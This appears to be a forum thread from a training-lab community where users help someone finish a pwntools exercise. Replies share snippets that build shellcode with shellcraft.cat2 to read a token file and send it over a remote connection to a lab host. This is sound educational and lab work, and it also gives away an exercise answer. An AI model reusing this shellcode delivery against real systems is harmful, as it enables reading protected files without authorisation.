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kdkstudies's avatar
kdkstudies
Icon for Bronze I rankBronze I
8 months ago
Solved

Need Help for Pwntools: Ep. 6 — Demonstrate Your Skills

I'm trying to solve an lab in Immersive labs Pwntools: Ep. 6 — Demonstrate Your Skills And I got stuck in the last step. I've tried the solution for using cat2 (from https://www.reddit.com/r/immers...
application security
defensive cyber
immersive labs
  • steven's avatar
    steven
    8 months ago

    well, as indicated in reddit sub:

    ...
shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0)
shellcode = asm(shellcode)
print ("Sending Shellcode:",shellcode, " ---#")
io.send(shellcode)
io.sendline()
...

    should work.

    looking at my old solution I see that I remote connected:

    io = remote('10.102.180.68',5000)

    somehow I don't see this in your code.

    could it be (it's been a long time) that you're working on the wrong endpoint?

IotS2024's avatar
IotS2024
Icon for Bronze III rankBronze III
8 months ago

For me the following worked:

# Generate shellcode to read the file using pwntools shellcraft
context.arch = "amd64"
    
# Generate shellcode using shellcraft to read file and print the content as hex
shellcode = asm(shellcraft.cat2("/home/token-user/token.txt"))

 

steven's avatar
steven
Icon for Silver II rankSilver II
8 months ago

yeah.. as I wrote above... remote :)
and:

context.arch = 'amd64'
context.os = 'linux'